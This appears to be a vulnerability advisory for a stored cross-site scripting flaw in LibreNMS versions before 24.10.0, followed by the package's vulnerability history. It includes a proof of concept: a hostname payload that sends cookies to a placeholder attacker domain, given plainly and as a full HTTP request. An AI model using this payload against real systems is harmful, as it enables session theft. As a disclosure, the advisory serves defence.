LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/device/capture.inc.php
Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the "Capture Debug Information" page allows authenticated users to inject arbitrary JavaScript through the "hostname" parameter when creating a new device. This vulnerability results in the execution of malicious code when the "Capture Debug Information" page is visited, redirecting the user and sending non-httponly cookies to an attacker-controlled domain.
Details
When creating a new device, an attacker can inject the following XSS payload into the "hostname" parameter:
test'" autofocus onfocus="document.location='https://<attacker_domain>/logger.php?c='+document.cookie"(Note: You may need to URL-encode the '+' sign in the payload.)
The payload triggers automatically when visiting the "Capture Debug Information" page for the device, redirecting the user's browser to the attacker-controlled domain along with any non-httponly cookies.
The vulnerability is due to insufficient sanitization of the "url" variable before it is output in the HTML. This is evident in the following lines of code:
PoC
- Create a new device with the following payload in the "hostname" parameter:
test'" autofocus onfocus="document.location='https://<attacker_domain>/logger.php?c='+document.cookie"- Save the device.
- Navigate to the "Capture Debug Information" page for the device.
- Observe that the injected script triggers and redirects the user to the attacker's domain, sending cookies.
Example Request:
POST /addhost HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded
Cookie: <your_cookie>
_token=<your_token>&hostname=test%27%22+autofocus+onfocus%3D%22document.location%3D%27https%3A%2F%2F<attacker_domain>%2Flogger.php%3Fc%3D%27%2bdocument.cookie%22&snmp=on&sysName=&hardware=&os=&os_id=&snmpver=v2c&port=&transport=udp&port_assoc_mode=ifIndex&community=&authlevel=noAuthNoPriv&authname=&authpass=&authalgo=SHA&cryptopass=&cryptoalgo=AES&force_add=on&Submit=Impact
This vulnerability allows authenticated users to execute arbitrary JavaScript in the context of other users' sessions when they visit the "Capture Debug Information" page of the device. The attacker can redirect the user to a malicious domain and capture non-httponly cookies, potentially compromising the user's account and allowing unauthorized actions.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | librenms/librenms | < 24.10.0 | 24.10.0 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L- Weakness (CWE)
CWE-79- Platform
- Composer
- Package
librenms/librenms- Disclosed
- 15.11.2024
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-rmr4-x6c9-jc68 - CC BY 4.0
Vulnerability history: librenms/librenms
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 106
- First → latest
- 10.2019 08.2026
- Without a fix
- 6
- Exploited in attacks
- 0
Severity breakdown
- Critical 5
- High 39
- Medium 56
- Low 6
Disclosures per year
- 2019: 6
- 2020: 0
- 2021: 7
- 2022: 26
- 2023: 12
- 2024: 24
- 2025: 15
- 2026: 16
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LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/device/capture.inc.php this entry
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